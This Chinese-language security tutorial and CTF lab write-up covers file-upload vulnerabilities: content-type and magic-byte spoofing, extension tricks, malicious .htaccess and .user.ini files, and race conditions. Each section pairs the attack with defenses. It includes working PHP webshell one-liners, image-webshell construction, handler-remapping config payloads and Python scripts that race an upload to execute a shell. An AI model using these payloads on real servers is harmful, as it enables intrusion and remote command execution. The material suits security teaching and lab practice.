WebShell的技术。简单来说欺骗服务器让它相信你上传的是一张图片或一个 PDF而实际上里面藏着可执行的脚本代码。二、核心原理后端在接收文件时通常会通过以下几种方式判断文件的“真实类型”检查方式依赖数据可被伪造$_FILES[file][type]客户端发送的Content-Type头极易伪造文件扩展名文件名后缀不属于“类型”检查属于扩展名检查文件头魔数文件开头的若干字节如FF D8 FF表示 JPEG可伪造调用finfo_file()/getimagesize()读取文件真实内容可伪造仅头部绕过的关键在于后端往往只检查文件的前几个字节或客户端提供的Content-Type而不会完整解析文件内容。攻击者可以在恶意文件的开头插入合法的文件头使校验函数误判。三、常见后端文件类型绕过方法1. MIME 类型绕过修改Content-Type场景后端仅检查$_FILES[file][type]是否在白名单内例如image/jpeg、image/png。绕过使用 Burp Suite 拦截上传请求将Content-Type改为允许的值而文件内容保持不变恶意脚本。示例Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg ← 伪造为图片类型2. 文件头魔数伪造图片马/文档马场景后端调用finfo_file()、getimagesize()或检查文件开头的魔术数字。绕过在恶意文件前插入合法文件头。例如图片马GIF89a?php system($_GET[cmd]); ?PDF 马%PDF-1.4 ... ?php ... ?原理getimagesize()读取到GIF89a会返回合法图片信息但后续的 PHP 代码在特定条件下仍可被执行如服务器将图片当作脚本解析、或包含漏洞。3. 组合利用伪造头部 修改扩展名场景后端同时检查扩展名白名单和文件头。绕过上传shell.jpg文件头伪造为FF D8 FFJPEG内容为 PHP 代码。扩展名和头部都符合图片要求但文件内嵌脚本。后续利用如果服务器配置错误如.htaccess将.jpg也作为 PHP 解析或者存在本地文件包含漏洞即可执行。4. 利用文件内容检测的局限性某些后端只检查文件头而忽略文件其余部分。攻击者可在头部之后添加大量垃圾数据再插入真实脚本绕过简单的字符串匹配。对于 PDF、DOCX 等复合文档攻击者可将恶意宏或脚本嵌入正常文档中保持文件类型特征不变。四、与“后端文件扩展名绕过”的区别对比项后端文件类型绕过后端文件扩展名绕过攻击目标针对文件的内容特征MIME、魔数针对文件名的后缀扩展名典型方法修改Content-Type、伪造文件头双扩展名、00截断、大小写混淆、利用黑名单遗漏检测依据文件实际字节内容文件名字符串绕过后果服务器将恶意文件误认为合法类型而接收服务器允许非法扩展名上传两者可能同时使用例如上传一个文件扩展名伪装成.jpg文件头也伪装成GIF89a最终获得一个图片马。五、防御措施针对后端文件类型绕过不要信任客户端提供的 MIME忽略$_FILES[file][type]改用后端真实检测。深度检查文件头不仅检查前几个字节还应验证文件整个签名如 PNG 需要检查多个 chunk。对图片进行二次渲染使用 GD 或 Imagick 重新生成图片彻底消除恶意嵌入代码。使用多维度白名单文件扩展名 文件头 文件内容特征如图片尺寸、PDF 结构三者同时匹配才放行。隔离存储与执行上传文件存放于 Web 目录之外通过脚本输出上传目录禁止脚本执行。六、总结后端文件类型绕过的本质是服务器对文件真实类型的判定逻辑存在盲点攻击者可以利用这些盲点让一个恶意文件通过“类型检查”并被存储到服务器上。成功的绕过通常还需要配合解析漏洞或包含漏洞才能造成实际危害。安全地实现文件上传必须将内容检测与存储隔离相结合而非依赖任何单一校验点七、靶场演示MIME绕过这个也不能直接上传木马文件需要抓包修改第17行的值改成image/png放包再上传用蚁剑测试连接找到flag文件头检测这个必须搞一个图片木马才能绕过截一个小图片把图片和木马结合到一块cat mm.png mm.php mm_shell.png继续进行上传抓包把png改成phpurl和路径结合蚁剑测试连接得到flag四、后端文件扩展名绕过一、定义后端文件扩展名绕过是指攻击者通过构造特殊的文件名使后端程序在检查文件扩展名时产生错误判断例如将恶意文件判断为允许上传的类型从而绕过基于扩展名的安全校验成功上传可执行脚本如 WebShell的攻击技术。简单来说欺骗服务器让它以为你上传的是.jpg或.png而实际保存下来的文件名却是.php或.asp。二、核心原理后端通常通过获取文件名中的扩展名如pathinfo($filename, PATHINFO_EXTENSION)并与黑名单/白名单比对来决定是否允许上传。攻击者利用以下差异实现绕过验证逻辑与保存逻辑不一致后端检查时看到的扩展名是合法的但实际保存到服务器时的文件名却是恶意的。黑名单覆盖不全某些可执行扩展名未被禁止。字符串处理缺陷大小写、双写、截断等导致过滤失效。三、常见扩展名绕过方法绕过方法原理示例文件名效果黑名单不完整仅禁止.php未禁止其他 PHP 扩展名shell.php5、shell.phtml文件被保存为.php5仍可被 PHP 解析大小写混淆黑名单只检查小写未做归一化shell.PhP若系统大小写不敏感如 Windows保存后仍可作为 PHP 执行双扩展名解析顺序差异后端只检查最后一个点后的后缀而某些服务器解析机制使用第一个后缀shell.jpg.php后端检查到.php被拦截但若检查第一个点shell.php.jpg被误判为.jpg而放行服务器却可能执行.php部分特殊字符截断00截断使用%00或0x00截断字符串导致检查时只看到合法扩展名shell.php%00.jpg后端检测.jpg通过但 C 类函数保存时截断为shell.php双写绕过黑名单删除一次危险关键字后剩余部分仍构成危险扩展名shell.pphphp过滤php后剩下shell.php文件系统特性Windows末尾的.或空格被自动去除shell.php.检查时扩展名为空或.被忽略保存后变为shell.php利用 NTFS 流文件文件名包含:检查时忽略流名保存时生成流文件shell.php:jpg检查扩展名为jpg实际写入shell.php流文件四、典型攻击流程以黑名单为例探测黑名单尝试上传test.php→ 被拦截上传test.php5→ 成功。说明黑名单未包含.php5。上传 WebShell将?php system($_GET[cmd]); ?命名为shell.php5上传。获取访问路径假设上传目录为/uploads/shell.php5。执行命令访问http://target.com/uploads/shell.php5?cmdwhoami获得系统权限。五、与“后端文件类型绕过”的区别对比项后端文件扩展名绕过后端文件类型绕过攻击目标文件名的后缀字符串文件的内容特征MIME、魔数检查依据$_FILES[name]中的扩展名文件头或客户端Content-Type典型方法双扩展名、00截断、双写、大小写、利用系统特性伪造 MIME、图片马、PDF 马绕过后果非法扩展名被允许上传恶意文件被误判为合法类型两者可组合使用攻击者可能同时伪造扩展名如.jpg和文件头GIF89a上传一个“图片马”。六、防御措施使用白名单而非黑名单只允许业务必需的少数扩展名如.jpg,.png,.pdf拒绝其他所有后缀。归一化处理将文件名转为小写、去除末尾点/空格、过滤控制字符后再校验。严格白名单匹配不允许任何不在列表中的扩展名包括.php5、.phtml等变种。重命名文件上传后使用随机字符串如UUID.jpg重新命名不保留原始文件名。禁用危险解析上传目录配置禁止脚本执行如 Apache 的php_flag engine off。多层校验扩展名 文件头 内容检测组合使用。七、总结后端文件扩展名绕过本质是利用文件名处理逻辑的缺陷或配置的疏忽让恶意脚本以“合法”的名义入驻服务器。最有效的防御是白名单 重命名 存储隔离彻底消除扩展名带来的风险。八、靶场演示00截断导入mm.jpg修改放包上传可能不显示上传路径手动添加一下跟上面操作一样用蚁剑测试连接找到flag双写绕过上传php木马抓包把php改成pphphp放包用蚁剑测试连接成功找到flag五、配置文件漏洞配置文件漏洞是文件上传漏洞的一种特殊利用方式。攻击者通过上传特定的配置文件如.htaccess、web.config、httpd.conf等来改变服务器对文件解析的行为从而使之前上传的普通文件如图片、文本被当作脚本执行或直接执行恶意代码。一、核心原理Web 服务器如 Apache、Nginx、IIS允许在特定目录下放置配置文件用于覆盖全局设置。如果网站的上传功能没有限制文件类型攻击者可以上传一个恶意的配置文件并利用它将任意扩展名的文件如.jpg当作 PHP 或 ASP 脚本解析。开启服务器目录列表方便访问上传的其他恶意文件。修改错误处理、重定向规则等辅助钓鱼或攻击。成功上传配置文件后攻击者再上传一个内容为恶意脚本的“图片马”或“文本文件”由于配置文件已改变解析规则该伪装的普通文件会被服务器当作脚本执行从而获取 WebShell。二、常见可被利用的配置文件配置文件适用服务器作用.htaccessApache目录级配置可覆盖主配置文件。web.configIIS 7.0可控制错误页面、处理程序映射等。httpd.conf/apache2.confApache全局除非上传目录恰好是主配置目录一般无法覆盖。.user.iniPHP (FastCGI 模式)可设置auto_prepend_file等选项自动包含文件。三、典型攻击步骤以.htaccess为例上传.htaccess文件构造一个.htaccess内容AddType application/x-httpd-php .jpg .png .gif该指令使 Apache 将扩展名为.jpg、.png、.gif的文件当作 PHP 脚本解析。绕过文件类型检查如果后端限制了上传文件的扩展名如仅允许图片攻击者可将文件名设为shell.jpg内容为?php system($_GET[cmd]); ?同时可能还需要伪造文件头如GIF89a以通过内容检查。访问触发访问http://target.com/uploads/shell.jpg?cmdid即使文件扩展名为.jpg由于.htaccess的配置服务器仍会以 PHP 执行该文件返回uidwww-data等信息。四、其他配置文件漏洞利用变种配置文件恶意配置示例利用效果web.config(IIS)xmlhandlersadd namephp path*.jpg verb* modulesFastCgiModule scriptProcessorC:\php\php-cgi.exe //handlers将.jpg映射给 PHP 解析器.user.ini(PHP)auto_prepend_file shell.jpg在每个 PHP 文件执行前自动包含shell.jpg该文件内嵌恶意代码.htaccessphp_value auto_prepend_file shell.jpg同上实现自动包含.htaccessOptions Indexes开启目录列表暴露其他上传文件crossdomain.xmlallow-access-from domain* /开启跨域策略可能被用于 CSRF 或信息窃取五、防御措施白名单限制上传文件扩展名坚决不允许上传.htaccess、.ini、.xml、.config等配置文件扩展名。重命名上传文件使用随机字符串如md5(time())重命名并保留安全的扩展名如.jpg完全丢弃原始文件名。设置上传目录禁止执行脚本在 Apache 中使用.htaccess禁用 PHP 引擎php_flag engine off或在 Nginx 中使用location匹配上传目录返回 404 或直接拒绝访问。限制目录配置覆盖范围在 Apache 主配置中设置AllowOverride None禁止使用.htaccess覆盖配置。定期扫描上传目录检查是否存在非预期的配置文件或恶意脚本。文件内容检查对上传的文件内容进行深度扫描防止内嵌恶意代码。六、总结配置文件漏洞是文件上传攻击中威力巨大的一类它不直接上传 WebShell而是通过“改变规则”让服务器为攻击者服务。防御的关键在于严格的扩展名白名单 重命名 上传目录无执行权限三者缺一不可。七、靶场演示.htaccess.htaccess文件用.htaccess为文件名FilesMatch \.jpg$ SetHandler application/x-httpd-php /FilesMatch先上传.htaccess文件再上传图片木马文件把url和上传路径给结合用·蚁剑验证得到flag六、条件竞争一、什么是条件竞争漏洞条件竞争漏洞是指系统在处理多个并发请求时由于代码执行的时序问题导致攻击者能够利用“检查与使用”之间的时间差绕过安全限制。在文件上传场景中条件竞争通常发生在服务器接收到上传的文件后先临时保存然后才进行安全检查如扫描病毒、检测类型、重命名等。在文件被验证之前攻击者能够访问并执行该临时文件。简而言之攻击者抢在服务器“杀死”恶意文件之前抢先触发它的执行。二、漏洞产生的原因典型的不安全代码流程如下接收上传文件保存到服务器临时目录例如/tmp/upload_12345.tmp或最终上传目录。对文件进行安全检查扩展名、MIME、内容扫描等。若检查不通过删除该文件。问题在于从第1步到第3步之间存在一个时间窗口。如果攻击者能够在文件被删除之前发起另一个并发请求访问这个文件如通过已知路径直接请求则恶意代码可能被执行。三、常见的条件竞争攻击场景场景1上传后检查前被访问上传一个shell.php内容为?php system($_GET[cmd]); ?。服务器接收后临时保存在/uploads/目录下或公开可访问的临时路径。同时攻击者编写脚本在上传瞬间不断请求http://target.com/uploads/shell.php?cmdwhoami。如果请求在文件被删除之前到达且服务器配置将该文件作为 PHP 解析则命令执行成功。场景2先保存后重命名/移动某些应用先将文件保存到最终目录再检查后缀发现非法则删除。攻击者可以在删除前访问。场景3分块上传与合并一些应用支持分块上传将文件块暂存后再合并。攻击者可以在合并完成前访问未完成的临时文件。四、典型攻击代码示例Python 脚本import threading import requests upload_url http://target.com/upload.php attack_url http://target.com/uploads/shell.php # 上传恶意文件 files {file: (shell.php, ?php system($_GET[cmd]); ?)} data {submit: upload} def upload(): while True: requests.post(upload_url, filesfiles, datadata) def attack(): while True: r requests.get(attack_url ?cmdwhoami) if r.status_code 200: print(r.text) break # 多线程并发 for i in range(10): threading.Thread(targetupload).start() threading.Thread(targetattack).start()五、漏洞实例DVWA 等靶场DVWA 文件上传模块low/medium上传后直接保存不检查或仅简单检查无删除机制 → 无竞争问题。某些安全插件先上传到临时目录后台扫描扫描通过才移至最终目录。此时存在竞争窗口。六、修复与防御措施措施说明先验证后保存在内存中完成所有检查扩展名、MIME、内容扫描通过后再写入磁盘消除临时文件暴露时间。使用不易猜测的路径将上传文件保存到 Web 目录之外或使用随机字符串命名使攻击者无法直接猜测访问路径。设置临时目录禁止执行脚本临时目录配置.htaccess或php_flag engine off即使被访问也不会执行。文件锁定机制在检查期间对文件加锁检查完成前禁止其他进程读取。原子操作将“写入-检查-移动”设计为原子操作如使用数据库事务或文件系统 rename 配合锁。及时删除减少检查时间尽快删除非法文件。但无法完全消除竞争窗口。七、总结条件竞争是文件上传漏洞中的高级利用技巧它不直接绕过内容检查而是利用服务器处理文件时的逻辑顺序缺陷。防御的核心是在文件写入可访问位置之前完成所有安全检查或者使临时文件无法被攻击者访问/执行。八、靶场演示一、漏洞概述本次测试的目标是一个存在条件竞争Race Condition的文件上传功能。后端PHP代码的缺陷在于先将上传的文件保存到服务器再检查文件扩展名是否在白名单内如果不合法则删除。攻击者可以利用“保存”与“删除”之间的极短时间窗口在文件被删除前抢先访问并执行它从而获得WebShell。二、漏洞代码分析前端后端$ext_arr array(jpg, png, gif); $file_ext end(explode(., $name)); // 获取扩展名 $upload_file ./images/{$name}; if(move_uploaded_file($temp_file, $upload_file)){ // 先移动文件 if(in_array($file_ext, $ext_arr)){ // 后检查扩展名 echo success; }else{ unlink($upload_file); // 不合法则删除 } }问题从move_uploaded_file完成到unlink执行之间存在时间差。攻击者可在此期间访问该文件触发执行。三、攻击步骤Step 1构造恶意上传文件test.php文件内容?php file_put_contents(shell.php, ?php eval($_POST[0]); ?); echo getshell!!!; ?目的该脚本被临时保存后一旦被访问会在当前目录生成一个真正的WebShellshell.php内容为一句话木马密码0。Step 2准备并发上传工具使用Burp Suite Intruder实现无限循环上传。抓包拦截上传test.php的POST请求。发送到IntruderCtrlI。清空Payload位置标记因为不需要替换参数只需重复发送相同请求。Payloads设置Payload type:Null payloads勾选Continue indefinitely无限持续发送Resource pool设置足够高的并发线程数如20。Step 3启动并发上传攻击访问test.php再进行bp抓包发到Intruder进行爆破点击Start attackBurp Suite 开始以极高频率重复上传test.php。如果上传不了那就使用下面脚本访问test.phpimport requests import threading def demo(): req requests.get(http://IP/images/test.php) while True: threading.Thread(targetdemo).start()Step 4同时访问上传的临时文件在并发上传期间使用浏览器或curl反复请求http://靶机IP/images/test.php由于test.php被不断上传并短暂存在总有一次请求会在文件被删除前命中从而触发脚本执行。Step 5写入WebShell并验证成功执行后test.php会在同一目录/images/下生成shell.php。访问http://靶机IP/images/shell.phpPOST参数0phpinfo();即可看到PHP配置信息证明WebShell可用